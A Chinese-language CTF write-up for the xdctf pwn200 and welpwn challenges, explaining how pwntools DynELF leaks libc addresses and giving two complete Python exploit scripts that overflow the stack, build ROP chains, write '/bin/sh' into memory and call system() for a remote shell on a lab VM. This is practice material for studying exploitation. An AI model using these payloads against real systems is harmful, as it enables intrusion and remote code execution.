沒有對方libc文件,如何getshell?xdctf12 pwn200 與 welpwn 的 writeup

DynELF

文檔:https://pwntools.readthedocs.io/en/stable/dynelf.html

簡單來說,DynELF可以泄漏對方的libc信息

關於DynELF的原理,這個博客講的很詳細

博客:https://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html


題目1 xdctf12 pwn200

GitHub

例行公事的事情就不說了

漏洞點很明顯:

爲了實現無libc,我使用了兩臺虛擬機

Linux ubuntu 4.15.0-54-generic #58~16.04.1-Ubuntu SMP Mon Jun 24 13:21:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

Linux kali 4.19.0-kali5-amd64 #1 SMP Debian 4.19.37-5kali1 (2019-06-20) x86_64 GNU/Linux

其中,kali作爲服務器,ubuntu作爲攻擊機


提前說明一下

leak函數的目的是能實現無限重複的任意地址讀

且這是使用DynELF的先決條件

DynELF無法查找到 /bin/sh 字符串,所以需要將該字符串寫到一個可寫的地址段然後再使用

或者使用libcSearcher等這樣的工具直接查找 /bin/sh 的地址

但是對於這道題加上我這個兩臺機子

我失敗了


exp

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./xdctf15 pwn200')
io = remote('192.168.95.146',10000)
length = 0x6c
elf = ELF('./xdctf15 pwn200')
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
bin_sh = 0x804a100
main = 0x080484BE

def leak(address):	#這個函數返回leak到的數據
    io.recv()
    payload = 'a'*0x6c+'aaaa'+p32(write_plt)+p32(main)+p32(1)+p32(address)+p32(4)
    io.send(payload)
    data = io.recv(4)	#因爲是32位,所以只需要取四字節
    log.info('%#x => %s' % (address, hex(u32((data or '')))))
    return data

def write(address,string):
    payload = 'a'*0x6c+'aaaa'+p32(read_plt)+p32(main)+p32(0)+p32(address)+p32(len(string))
    io.send(payload)
    io.send(string)

def getshell(address,bin_sh):
    payload = 'a'*0x6c+'aaaa'+p32(address)+p32(0)+p32(bin_sh)
    io.send(payload)
    io.interactive()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
libc_base = d.lookup(None,'libc')
print hex(sys_addr)

#gdb.attach(io,'b *0x080484BC')
#raw_input()
write(bin_sh,'/bin/sh\x00')
print hex(bin_sh)
getshell(sys_addr,bin_sh)

題目2 welpwn

GitHub

例行公事就不說了

環境與上題一樣

漏洞點同樣很明顯:



64位的棧溢出一般都需要用到ROP了吧

但是這道題的ROP鏈不好構造,因爲echo函數中,給s2賦值用的是循環,遇到0x00會停

而我們構造的數據鏈只要出現一個地址,必然會出現至少兩個的0x00,因此需要尋找巧妙的方法

在單步調試的過程中,發現main函數中的buf在棧中的地址位於s2下方32個偏移處

因此有個方法就是,構造ROP鏈時,先用 _libc_csu_init 中pop四次的ROP鏈使rsp下移32個偏移

執行完這四次的pop以後,rsp就會位於buf的32個偏移處

此時就可以按照正常的ROP走了

這道題稍微有點繞


exp

from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
#io = process('./welpwn')
io = remote('192.168.95.146',10000)
elf = ELF('./welpwn')
length = 16
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
pop_rbx_rbp_r12_r13_r14_r15 = 0x40089A
pop4 = 0x40089C
mov_dx_si_di = 0x400880
pop_rdi = 0x4008a3
readn = 0x400805
main = 0x4007CD
bin_sh = 0x601100

io.recv()
def leak(address):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(write_got)
    payload += p64(8)+p64(address)+p64(1)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)
    data = io.recv(8)
    io.recv()
    log.info("%#x => %s" %(address,hex(u64((data or '').ljust(8,'\x00')))))
    return data

def write(address,string):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(read_got)
    payload += p64(len(string))+p64(address)+p64(0)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)
    io.send(string)
    
def getshell(address,bin_sh):
    payload = 'a'*length+'a'*8+p64(pop4)+p64(pop_rbx_rbp_r12_r13_r14_r15)
    payload +=p64(0)+p64(1)+p64(address)
    payload += p64(0)+p64(0)+p64(bin_sh)+p64(mov_dx_si_di)
    payload += p64(0)*7+p64(main)
    payload = payload.ljust(0x400,'C')
    io.send(payload)

#gdb.attach(io,'b *0x400814')
#raw_input()
d = DynELF(leak,elf=elf)
sys_addr = d.lookup('system','libc')
log.success("system address: "+hex(sys_addr))
#gdb.attach(io,'b *0x400793')
#raw_input()
write(bin_sh,'/bin/sh\x00'+p64(sys_addr))
getshell(bin_sh+8,bin_sh)
io.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章